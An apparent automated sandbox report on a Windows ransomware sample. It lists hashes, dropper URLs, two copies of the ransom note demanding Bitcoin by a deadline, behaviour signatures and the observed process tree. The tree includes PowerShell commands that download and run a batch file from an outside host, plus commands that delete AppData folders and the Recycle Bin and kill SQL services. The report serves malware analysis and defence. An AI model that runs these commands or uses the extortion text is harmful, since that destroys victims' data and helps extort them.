05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e

Analysis

max time kernel
142s
max time network
87s
platform
windows7_x64
resource
win7-20220414-en
submitted
02/05/2022, 15:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe
Size

2.8MB
MD5

2079b5f7cb45b9509fc153071dec87de
SHA1

488a6a91ed2d177e70c657863513d2431082da8c
SHA256

05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e
SHA512

d06bfb35cd83d124f76483c111b7c996d7573b0bb843144f2e454bb7ddb92320819b06e93054601d99e1650f7f7421373087d38533c4d5966e6169eb03a8ce16

Score

10^/10

ransomware spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://e-service.iag.bg/App_Themes/Efa/clear.txt

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://e-service.iag.bg/App_Themes/Efa/video.mp4

Extracted

Path

C:\HELP_DECRYPT_YOUR_FILES.txt

Ransom Note

All of your important files encrypted with AES-256, RSA-2848 , is a powerful cryptography algorithm For more information you can use Wikipedia *attention: Don't rename or edit encrypted files because it will be impossible to decrypt your files This is a private ransomware developed by our team and there is no decryption file for it For Trust You can Send us Test Files And We Decrypt That And Send To You. *How do I contact you? The only way to communicate is through a secure Telegram messenger Telegram ID : https://t.me/HELP_DECRYPT_YOUR_FILES Your unique Id : DYDCVCUV How To Access Telegram To access Telegram, you must install the version related to your platform You can download Telegram from https://telegram.org #How to recover files? How files are decrypted? What is the decryption file like? Watch file Watch-me.mp4 on each drive and desktop You need two key 1-Public key: you need it for encryption 2-Private Key: you need it for decryption So you need Private key to recover your files. All of your network computers files is encrypted with one public key. So you need just one Private key to recover all computers files The private Key that we will send works on all your computers #How to use private Key? We send you a simple software with private Key And you just need run this software on each computer that encrypted and all affected files will be decrypted *What are the guarantees that I can decrypt my files after paying the ransom? Your main guarantee is the ability to decrypt test files. This means that we can decrypt all your files after paying the ransom. We have no reason to deceive you after receiving the ransom, because it harms our business You Have 24 hours to Decide to Pay after 48 hours Decryption Price will Be Double And after 72 hours it will be triple Try to Contact late and You will know Therefore, we recommend that you make payment within a few hours. #deadline You just have 72 hours to send us the Bitcoin after 72 hours we will remove your private key and it's impossible to recover your files #What is Bitcoin? Bitcoin is an innovative payment network and a new kind of money. You can create a Bitcoin account at https://blockchain.info/ and deposit some money into your account and then send to us #How to buy Bitcoin? There are Many way to buy Bitcoin and deposit it into your account, You can buy it with WesternUnion, Bank Wire, International Bank transfer, Cash deposit and etc https://localbitcoins.com ---> Buy Bitcoin with WesternUnion or MoneyGram https://coincafe.com ---> Buy Bitcoin fast and Secure with WesternUnion and Cash deposit https://www.bitstamp.net ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment httos://www.kraken.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment https://www.kraken.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment https://www.ccedk.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment https://bitcurex.com/ ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment If you want to pay with your Business bank account you should create a business account in exchangers they don't accept payment from third party

URLs

https://t.me/HELP_DECRYPT_YOUR_FILES

Extracted

Path

C:\HELP_DECRYPT_YOUR_FILES.html

Ransom Note

<!DOCTYPE html><html><body><div class=demo> <h1>All of your important files encrypted with AES-256, RSA-2848 , is a powerful cryptography algorithm</h1> <p>For more information you can use Wikipedia</p> <p>*attention: Don't rename or edit encrypted files because it will be impossible to decrypt your files</p> <p>This is a private ransomware developed by our team and there is no decryption file for it</p> <br /> <p style=color:#703818;>For Trust You can Send us Test Files And We Decrypt That And Send To You.</p> <br /> <h2>*How do I contact you?</h2> <h2>The only way to communicate is through a secure Telegram messenger</h2> <h2>Telegram ID : https://t.me/HELP_DECRYPT_YOUR_FILES</p> <h2>Your unique Id : DYDCVCUV </h2> <br /><h2>How To Access Telegram</h2> <h2>To access Telegram, you must install the version related to your platform</h2> <h2>You can download Telegram from https://telegram.org</h2> <br /><p>#How to recover files?</p> <br /> <p>How files are decrypted? What is the decryption file like? Watch file Watch-me.mp4 on each drive and desktop</p> <div class=VideoDiv> <video width=400 height=400 controls><source src=C:/Users/Public/Music/video.mp4 type=video/mp4></video></div><br /><p>You need two key</p> <p>1-Public key: you need it for encryption<p>2-Private Key: you need it for decryption</p> <p>All of your network computers files is encrypted with one public key. So you need just one Private key to recover all computers files</p> <p>The private Key that we will send works on all your computers</p> <br /> <p>#How to use private Key?</p> <p>We send you a simple software with private Key</p> <p>And you just need run this software on each computer that encrypted and all affected files will be decrypted</p> <br /> <p>*What are the guarantees that I can decrypt my files after paying the ransom?</p><p>Your main guarantee is the ability to decrypt test files.</p> <p>This means that we can decrypt all your files after paying the ransom.</p> <p>We have no reason to deceive you after receiving the ransom, because it harms our business</p> <p>You Have 24 hours to Decide to Pay</p> <p>after 48 hours Decryption Price will Be Double</p> <p>And after 72 hours it will be triple Try to Contact late and You will know</p> <p>Therefore, we recommend that you make payment within a few hours.</p><br /><p style=color:#d61d1d; >#deadline</p><p>You just have 72 hours to send us the Bitcoin after 72 hours we will remove your private key and it's impossible to recover your files</p><br /><p>#What is Bitcoin?</p><p>Bitcoin is an innovative payment network and a new kind of money.</p><p>You can create a Bitcoin account at https://blockchain.info/ and deposit some money into your account and then send to us</p><br /><p>#How to buy Bitcoin?</p><p>There are Many way to buy Bitcoin and deposit it into your account,</p><p>You can buy it with WesternUnion, Bank Wire, International Bank transfer, Cash deposit and etc</p><p>https://localbitcoins.com ---> Buy Bitcoin with WesternUnion or MoneyGram</p><p>https://coincafe.com ---> Buy Bitcoin fast and Secure with WesternUnion and Cash deposit</p><p>https://www.bitstamp.net ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment</p><p>httos://www.kraken.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment</p><p>https://www.kraken.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment</p><p>https://www.ccedk.com ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment</p><p>https://bitcurex.com/ ---> Buy Bitcoin with bank wire, International bank transfer, SEPA payment</p><p>If you want to pay with your Business bank account you should create a business account in exchangers they don't accept payment from third party</p></div><style>Demo Styles*/html {height: 100%;box-sizing: border-box;}*,*:before,*:after {box-sizing: inherit;}body {position: relative;margin: 0;padding-bottom: 6rem;min-height: 100%;font-family: Helvetica Neue, Arial, sans-serif;font-weight: bold;background: #000;}.demo {margin: 0 auto;}.demo h1 { margin-top: 15;text-align: center;font-size: 25px;color: #d34410;}.demo h2 { margin-top: 15;text-align: center;font-size: 25px;color: #16419e;}.demo p {margin-top: 10;text-align: center;font-size: 20px;color: #cccccc;}.demo .VideoDiv{margin:0 auto;background:red;border:2px solid #ffffff; width:400px;;height:400px}</style></body></html>

URLs

https://t.me/HELP_DECRYPT_YOUR_FILES</p>

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1396	powershell.exe
7	280	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Kills process with taskkill 3 IoCs

evasion

pid	Process
2028	taskkill.exe
1796	taskkill.exe
1180	taskkill.exe

Modifies registry class 3 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.secure\DefaultIcon\ = "C:\\Windows\\System32\\SHELL32.dll,271"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.secure\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.secure	reg.exe

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 5 IoCs

pid	Process
1396	powershell.exe
280	powershell.exe
796	powershell.exe
1696	powershell.exe
1228	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1396	powershell.exe
280	powershell.exe
796	powershell.exe
1696	powershell.exe
1228	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2028	taskkill.exe
Token: SeDebugPrivilege	1796	taskkill.exe
Token: SeDebugPrivilege	1180	taskkill.exe
Token: SeDebugPrivilege	1396	powershell.exe
Token: SeDebugPrivilege	280	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1228	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1912 wrote to memory of 1012	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	29
PID 1912 wrote to memory of 1012	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	29
PID 1912 wrote to memory of 1012	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	29
PID 1012 wrote to memory of 1552	1012	cmd.exe	30
PID 1012 wrote to memory of 1552	1012	cmd.exe	30
PID 1012 wrote to memory of 1552	1012	cmd.exe	30
PID 1912 wrote to memory of 1420	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	31
PID 1912 wrote to memory of 1420	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	31
PID 1912 wrote to memory of 1420	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	31
PID 1420 wrote to memory of 632	1420	cmd.exe	32
PID 1420 wrote to memory of 632	1420	cmd.exe	32
PID 1420 wrote to memory of 632	1420	cmd.exe	32
PID 1912 wrote to memory of 320	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	33
PID 1912 wrote to memory of 320	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	33
PID 1912 wrote to memory of 320	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	33
PID 320 wrote to memory of 2028	320	cmd.exe	34
PID 320 wrote to memory of 2028	320	cmd.exe	34
PID 320 wrote to memory of 2028	320	cmd.exe	34
PID 1912 wrote to memory of 1772	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	36
PID 1912 wrote to memory of 1772	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	36
PID 1912 wrote to memory of 1772	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	36
PID 1772 wrote to memory of 1796	1772	cmd.exe	37
PID 1772 wrote to memory of 1796	1772	cmd.exe	37
PID 1772 wrote to memory of 1796	1772	cmd.exe	37
PID 1912 wrote to memory of 640	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	38
PID 1912 wrote to memory of 640	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	38
PID 1912 wrote to memory of 640	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	38
PID 640 wrote to memory of 1180	640	cmd.exe	39
PID 640 wrote to memory of 1180	640	cmd.exe	39
PID 640 wrote to memory of 1180	640	cmd.exe	39
PID 1912 wrote to memory of 1564	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	40
PID 1912 wrote to memory of 1564	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	40
PID 1912 wrote to memory of 1564	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	40
PID 1912 wrote to memory of 1168	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	41
PID 1912 wrote to memory of 1168	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	41
PID 1912 wrote to memory of 1168	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	41
PID 1912 wrote to memory of 1932	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	42
PID 1912 wrote to memory of 1932	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	42
PID 1912 wrote to memory of 1932	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	42
PID 1912 wrote to memory of 1856	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	43
PID 1912 wrote to memory of 1856	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	43
PID 1912 wrote to memory of 1856	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	43
PID 1856 wrote to memory of 1248	1856	cmd.exe	44
PID 1856 wrote to memory of 1248	1856	cmd.exe	44
PID 1856 wrote to memory of 1248	1856	cmd.exe	44
PID 1912 wrote to memory of 676	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	45
PID 1912 wrote to memory of 676	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	45
PID 1912 wrote to memory of 676	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	45
PID 676 wrote to memory of 792	676	cmd.exe	46
PID 676 wrote to memory of 792	676	cmd.exe	46
PID 676 wrote to memory of 792	676	cmd.exe	46
PID 792 wrote to memory of 572	792	net.exe	47
PID 792 wrote to memory of 572	792	net.exe	47
PID 792 wrote to memory of 572	792	net.exe	47
PID 1912 wrote to memory of 544	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	48
PID 1912 wrote to memory of 544	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	48
PID 1912 wrote to memory of 544	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	48
PID 1912 wrote to memory of 992	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	49
PID 1912 wrote to memory of 992	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	49
PID 1912 wrote to memory of 992	1912	05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe	49
PID 992 wrote to memory of 1396	992	cmd.exe	50
PID 992 wrote to memory of 1396	992	cmd.exe	50
PID 992 wrote to memory of 1396	992	cmd.exe	50
PID 992 wrote to memory of 1396	992	cmd.exe	50

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1248	attrib.exe

C:\Users\Admin\AppData\Local\Temp\05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe
"C:\Users\Admin\AppData\Local\Temp\05bd4ef6b32a66ee100dae0dbf57a9d21fd6c9a57b41db3fc3bf553f2e982d3e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\system32\cmd.exe
  cmd /C "label C: Encrypted"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1012
- - C:\Windows\system32\label.exe
    label C: Encrypted
    3⤵
    PID:1552
- C:\Windows\system32\cmd.exe
  cmd /C "reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d %SystemRoot%\System32\SHELL32.dll,271 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\system32\reg.exe
    reg add HKEY_CLASSES_ROOT\.secure\DefaultIcon /t REG_SZ /d C:\Windows\System32\SHELL32.dll,271 /f
    3⤵
    - Modifies registry class
    PID:632
- C:\Windows\system32\cmd.exe
  cmd /C "taskkill /F /IM sqlservr.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM sqlservr.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2028
- C:\Windows\system32\cmd.exe
  cmd /C "taskkill /F /IM sqlceip.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM sqlceip.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1796
- C:\Windows\system32\cmd.exe
  cmd /C "taskkill /F /IM sqlwriter.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:640
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM sqlwriter.exe /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1180
- C:\Windows\system32\cmd.exe
  cmd /C "rmdir C:\Users\Admin\AppData /s /q"
  2⤵
  PID:1564
- C:\Windows\system32\cmd.exe
  cmd /C "rmdir C:\Users\Default\AppData /s /q"
  2⤵
  PID:1168
- C:\Windows\system32\cmd.exe
  cmd /C "rmdir C:\Users\Public\AppData /s /q"
  2⤵
  PID:1932
- C:\Windows\system32\cmd.exe
  cmd /C "attrib +h +s Crypto.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\system32\attrib.exe
    attrib +h +s Crypto.exe
    3⤵
    - Views/modifies file attributes
    PID:1248
- C:\Windows\system32\cmd.exe
  cmd /C "net stop MSSQL$SQLEXPRESS"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\system32\net.exe
    net stop MSSQL$SQLEXPRESS
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS
      4⤵
      PID:572
- C:\Windows\system32\cmd.exe
  cmd /C "rmdir C:\$Recycle.Bin /s /q"
  2⤵
  PID:544
- C:\Windows\system32\cmd.exe
  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\windows\syswow64\windowspowershell\v1.0\powershell (New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/clear.txt', 'C:\Users\Public\Music\clear.bat')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1396
- C:\Windows\system32\cmd.exe
  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell(New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/video.mp4', 'C:\Users\Public\Music\video.mp4')"
  2⤵
  PID:700
- - C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\windows\syswow64\windowspowershell\v1.0\powershell (New-Object System.Net.WebClient).DownloadFile('http://e-service.iag.bg/App_Themes/Efa/video.mp4', 'C:\Users\Public\Music\video.mp4')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:280
- C:\Windows\system32\cmd.exe
  cmd /C C:\Users\Public\Music\clear.bat
  2⤵
  PID:1424
- C:\Windows\system32\cmd.exe
  cmd /C "copy C:\Users\Public\Music\video.mp4 C:\Watch-me.mp4"
  2⤵
  PID:1600
- C:\Windows\system32\cmd.exe
  cmd /C "copy C:\Users\Public\Music\video.mp4 C:\Users\Admin\Desktop\Watch-me.mp4"
  2⤵
  PID:1724
- C:\Windows\system32\cmd.exe
  cmd /C "copy C:\Users\Public\Music\video.mp4 C:\Users\Default\Desktop\Watch-me.mp4"
  2⤵
  PID:1740
- C:\Windows\system32\cmd.exe
  cmd /C "copy C:\Users\Public\Music\video.mp4 C:\Users\Public\Desktop\Watch-me.mp4"
  2⤵
  PID:532
- C:\Windows\system32\cmd.exe
  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Admin/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\""
  2⤵
  PID:1852
- - C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Admin/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:796
- C:\Windows\system32\cmd.exe
  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Default/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\""
  2⤵
  PID:960
- - C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Default/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- C:\Windows\system32\cmd.exe
  cmd /C "C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Public/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\""
  2⤵
  PID:1856
- - C:\windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\windows\syswow64\windowspowershell\v1.0\powershell copy C:\Users\Public\Music\video.mp4 \"C:\Users\Public/AppData/Roaming/Microsoft/Windows/Network Shortcuts/Watch-me.mp4\"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/280-80-0x0000000073D20000-0x00000000742CB000-memory.dmp

Filesize
5.7MB

Download
memory/796-90-0x0000000073D50000-0x00000000742FB000-memory.dmp

Filesize
5.7MB

Download
memory/1228-99-0x0000000073D50000-0x00000000742FB000-memory.dmp

Filesize
5.7MB

Download
memory/1396-75-0x0000000074F91000-0x0000000074F93000-memory.dmp

Filesize
8KB

Download
memory/1396-76-0x0000000073D50000-0x00000000742FB000-memory.dmp

Filesize
5.7MB

Download
memory/1696-95-0x0000000073D20000-0x00000000742CB000-memory.dmp

Filesize
5.7MB

Download